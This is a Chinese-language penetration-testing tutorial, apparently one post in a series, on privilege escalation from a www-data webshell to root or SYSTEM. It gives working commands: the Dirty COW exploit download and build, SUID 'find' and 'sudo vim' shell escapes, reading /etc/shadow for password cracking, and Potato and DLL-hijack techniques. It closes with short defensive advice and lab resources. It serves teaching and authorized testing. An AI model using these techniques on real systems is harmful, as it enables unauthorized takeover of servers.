上篇文章你拿到了Webshell,以为自己已经“拿下”了服务器。
真相是:Webshell只是“游客票”,提权才是“VIP通行证”。
全文约2000字,阅读约6分钟。今天带你从“普通用户”一路杀到“系统管理员”。
一、先讲一个真实故事:一个Webshell引发的“血案”
某次授权渗透测试中,我通过文件上传漏洞拿到了一台Linux服务器的Webshell——权限是www-data,这是Web服务的默认低权限账户,只能读网站目录,连安装软件都不行。
看起来好像“没啥用”?但接下来30分钟:
执行
uname -a查看内核版本——发现是2016年的老内核。搜索发现该内核存在脏牛漏洞(CVE-2016-5195)。
下载EXP编译运行——30秒后,我成了root。
整个服务器的数据库、源码、配置文件,全部一览无余。
一个低权限Webshell,30分钟变root。这就是提权的威力。
二、提权到底是什么?说人话
官方定义:提权(Privilege Escalation)是指攻击者通过系统漏洞、错误配置、权限继承等方式,将自身权限从低权限用户提升至更高权限(如管理员或root)的过程。
说人话就是一句话:
从“小号”变“大哥”。
想象一下:你是个保安(低权限),只能在大厅溜达。提权就是让你找到一把万能钥匙,直接走进董事长办公室。
拿到Webshell ≠ 拿下服务器。Webshell只是“进来了”,提权才是“说了算”。
三、提权前的必修课:信息收集
提权最忌一上来就乱打EXP。先搞清楚“我在哪”,再想“怎么打”。
📌 必问“侦察六问”
| 问题 | 命令(Linux) | 命令(Windows) |
|---|---|---|
| 我是什么系统? | uname -a | systeminfo |
| 内核版本多少? | cat /proc/version | systeminfo | findstr OS |
| 当前用户是谁? | whoami | whoami |
| 我有什么权限? | sudo -l | whoami /priv |
| 有哪些SUID程序? | find / -perm -u=s -type f 2>/dev/null | accesschk.exe |
| 有哪些服务在跑? | ps aux | grep root | tasklist /v |
信息收集做得越细,提权路径就越清晰。
四、Linux提权:5种主流方法
🔴 方法一:内核漏洞提权——最暴力的“一锤子买卖”
内核漏洞提权是命中率最高的方式——直接利用操作系统内核的漏洞,把普通用户一把推到root。
经典案例:脏牛提权(Dirty COW,CVE-2016-5195)
这个漏洞影响了2007年到2016年长达9年的Linux系统。利用条件极其简单——只要有普通用户权限就能提权到root。
实战三步走:
下载EXP:
git clone https://github.com/FireFart/dirtycow编译运行:
make && ./dirtycow输入新密码——你就成了root
💡 2025年依然有不少老系统在用2016年以前的内核。别以为“老漏洞没人用了”——恰恰相反。
🟠 方法二:SUID提权——程序自带“尚方宝剑”
Linux中,某些程序被设置了SUID位——任何用户运行它时,都以文件所有者的权限执行。
如果某个root所有的程序设置了SUID,普通用户运行它时就有root权限。
找SUID程序:
bash
find / -perm -u=s -type f 2>/dev/null
经典利用:如果find命令有SUID权限,可以这样提权:
bash
find . -exec /bin/sh \; -quit
直接弹出一个root shell。
🟡 方法三:Sudo提权——配置不当就是“后门”
检查当前用户能免密执行哪些命令:
bash
sudo -l
如果显示(ALL) NOPASSWD: ALL——恭喜,你已经是root了,直接sudo su -。
如果只允许某个特定命令(比如vim),可以通过vim执行shell:
bash
sudo vim -c '!sh'
🟢 方法四:敏感信息泄露——密码就在“眼皮底下”
很多管理员把密码写在配置文件里:
网站根目录的
.env文件/etc/passwd和/etc/shadow历史命令记录
~/.bash_history数据库配置文件
/var/www/html/config.php
拿到root密码的哈希值,用John the Ripper跑一下——很多时候密码就是123456。
🔵 方法五:数据库UDF提权——MySQL也能当“跳板”
如果服务器装了MySQL,而且你用root连上了MySQL,可以通过UDF(用户自定义函数)提权——在MySQL里执行系统命令,直接反弹一个root权限的shell回来。
五、Windows提权:3种经典姿势
🔴 姿势一:内核漏洞提权——和Linux一样暴力
Windows同样存在大量内核提权漏洞。2025年披露的CVE-2025-21418就是Windows Ancillary Function Driver中的堆溢出漏洞,允许本地攻击者获得SYSTEM权限。
常用工具:Windows-Exploit-Suggester——输入systeminfo的结果,自动匹配可用EXP。
🟠 姿势二:“土豆”家族提权——Windows专属“神器”
烂土豆(Juice Potato)、甜土豆(Sweet Potato)、GodPotato……这一系列工具专门利用Windows的COM对象和服务中的权限提升漏洞,把普通用户权限一路提到SYSTEM。
使用极其简单:上传GodPotato.exe到目标,运行即可提权。
🟡 姿势三:服务配置不当——DLL劫持与未授权服务
DLL劫持:某些程序运行时会在特定路径查找DLL文件,如果路径可写,放一个恶意DLL进去,程序运行时就执行了你的代码。
未授权服务:检查哪些服务以SYSTEM权限运行,且普通用户能重启——替换服务的可执行文件路径,重启后服务就以SYSTEM权限执行你的程序。
六、自动化提权工具:让“傻瓜式”操作成为可能
不想手动敲命令?这些工具帮你一键枚举:
| 工具 | 平台 | 作用 |
|---|---|---|
| LinPEAS | Linux | 自动化枚举系统信息,发现所有可能的提权路径 |
| LinEnum | Linux | 信息收集 + 提权检查 |
| WinPEAS | Windows | Windows版自动化提权枚举 |
| Windows-Exploit-Suggester | Windows | 根据补丁信息匹配可用EXP |
七、怎么防?给管理员的3条“保命建议”
如果你未来要做防御方(蓝队),记住这3条:
| 原则 | 具体做法 |
|---|---|
| ① 及时打补丁 | 内核漏洞提权是命中率最高的方式——勤打补丁能防住90%的提权攻击 |
| ② 最小权限原则 | 不给用户多余的权限,不用root跑Web服务,定期审计SUID和Sudo配置 |
| ③ 监控异常行为 | 关注/tmp目录的异常文件创建、非正常时间的提权命令执行 |
八、学习资源包
🎯 推荐靶场:
VulnHub:搜索“privesc”标签,有大量提权专属靶机
TryHackMe:有完整的“Linux Privilege Escalation”房间
** Dirty Cow靶场**:专门练习脏牛提权
📚 推荐阅读:
《权限提升技术:攻防实战与技巧》——硬核实战指南
FreeBuf搜索“提权”标签,大量实战案例
🛠️ 必装工具:
LinPEAS / WinPEAS
脏牛EXP(GitHub: FireFart/dirtycow)
GodPotato(Windows提权神器)
写在最后
SQL注入是“进门”,文件上传是“送武器”,提权是“夺权”——这才是渗透测试的高潮部分。
很多新手拿到Webshell就觉得自己“毕业”了,其实真正的战斗才刚刚开始。一个低权限的Webshell和一个root权限的Shell,价值差了100倍。
今天这篇文章,我带你从信息收集到Linux/Windows提权,从手动操作到自动化工具走了一遍。请你现在就打开一个提权靶场,按上面的方法亲手试一次。
当你从一个
www-data变成root的那一刻,你会真正理解什么叫“掌控感”。
—— 手把手带你上路的网安教练
📌下期预告:第十弹·内网篇——《拿下第一台服务器之后,如何横向扩散到整个内网?》关注我,不错过每一篇干货。